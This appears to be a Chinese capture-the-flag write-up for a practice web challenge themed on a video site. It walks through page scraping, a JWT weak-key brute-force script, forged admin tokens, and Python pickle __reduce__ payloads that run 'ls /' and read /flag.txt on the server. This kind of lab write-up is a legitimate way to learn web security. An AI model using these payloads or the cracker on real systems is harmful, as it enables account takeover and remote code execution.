攻防世界 web高手进阶区 9分题 bilibili

    科技2022-07-17  110

    前言

    继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是bilibili的writeup

    解题过程

    进来界面

    这尼玛出题人是黑还是粉啊 笑死 看题目意思是买lv6

    惯例源码+御剑 没发现什么东西 那就老老实实注册登录

    然后去找lv6 试着翻了几页 没有页数也没有找到lv6 有点担心他页数巨多

    就尝试写脚本 先看源码

    发现页数和lv的表示 那就写个python3脚本

    from urllib import request url="http://220.249.52.133:47108/shop?page=" for i in range(1,501): r = request.urlopen(url+str(i)) if "lv6.png" in r.read().decode('utf-8'): print(i) break else: print("lv6 is not in page "+str(i))

    找到lv6在181页

    这个离谱的价格 估摸着是要抓包修改东西了

    在结算页面抓包时 发现金额和折扣 尝试修改

    修改金额失败 修改折扣则返回302

    访问/b1g_m4mber看看

    得想办法获取admin 前面抓包里 cookie里有JWT

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

    拿去解一下

    似乎没有什么限制 那就尝试修改username为admin

    得到新的JWT

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.qI9mpZKBIB3Z009gZnezZ563C8B397jYjAZpoTmLTAc

    再发送 失败。。

    那估摸着是有什么密钥了 找了找github上的脚本

    import jwt import json from optparse import OptionParser def runblasting(path,jwt_str,alg): if alg == "none": alg = "HS256" with open(path,encoding='utf-8') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str,verify=True,key=key_,algorithm=alg) print('found key! --> ' + key_) break except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('found key! --> ' + key_) break except(jwt.exceptions.InvalidSignatureError): continue else: print("key not found!") def generatejwt(dictstring,key='',alg='none'): jsstr = json.loads(dictstring) return jwt.encode(jsstr, key=key, algorithm=alg).decode('utf-8') if __name__ == "__main__": parser = OptionParser() parser.add_option("-m", "--mode", action="store", dest="mode", default='',type="string",help="Mode has generate disable encryption and blasting encryption key [generate/blasting]") parser.add_option("-s", "--string", action="store", dest="jwtstring", default='',type="string",help="Input your JWT string") parser.add_option("-a", "--algorithm", action="store", dest="algorithm", default='none',type="string",help="Input JWT algorithm default:NONE") parser.add_option("--kf", "--key-file", action="store", dest="keyfile", type="string", default=False, help="Input your Verify Key File") (options, args) = parser.parse_args() if options.mode == "generate": print(generatejwt(options.jwtstring,alg=options.algorithm)) exit() if options.mode == "blasting": runblasting(options.keyfile,options.jwtstring,options.algorithm) exit() else: print( ''' _____ ____ ____ _________ ______ _______ _ ______ ___ ____ |_ _||_ _| |_ _|| _ _ | .' ___ ||_ __ \ / \ .' ___ ||_ ||_ _| | | \ \ /\ / / |_/ | | \_|/ .' \_| | |__) | / _ \ / .' \_| | |_/ / _ | | \ \/ \/ / | | | | | __ / / ___ \ | | | __'. | |__' | \ /\ / _| |_ \ `.___.'\ _| | \ \_ _/ / \ \_\ `.___.'\ _| | \ \_ `.____.' \/ \/ |_____| `.____ .'|____| |___||____| |____|`.____ .'|____||____| By:Ch1ng ''' ) print(parser.format_help())

    爆破

    python jwtcrack.py -m blasting -s eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644 --kf text.txt

    test.txt 是准备的弱密码脚本

    得到密钥 1Kun 这。。。。 真就ikun呗

    制造JWT

    得到JWT

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

    发送 成功进入

    源码里有发现

    把压缩文件下下来

    获得源码 代码审计 在Admin.py里发现点东西

    pickle.loads相当于python中的反序列化

    详细可参考浅谈python反序列化漏洞

    利用__reduce__魔术方法

    import pickle import urllib import commands class payload(object): def __reduce__(self): return (commands.getoutput,('ls /',)) a = payload() print urllib.quote(pickle.dumps(a))

    运行得到

    ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

    点击“一键成为大会员”并抓包 修改become值 这里注意

    这个网站是用Tornado框架的开启了xsrf保护如果用不带_xsrf的POST请求时,会报403错误

    成功运行指令ls 并得知flag的位置

    修改脚本

    import pickle import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload()) a= urllib.quote(a) print a

    得到

    c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

    发送

    得到flag

    结语

    整了2个小时 本来以为是想办法买到flag 谁知道这个lv6只是个入口 最终还是序列化这一套

    知识点

    爬虫JWT,github上的爆破脚本python代码审计python反序列化,参考浅谈python反序列化漏洞tornado框架
    Processed: 0.010, SQL: 8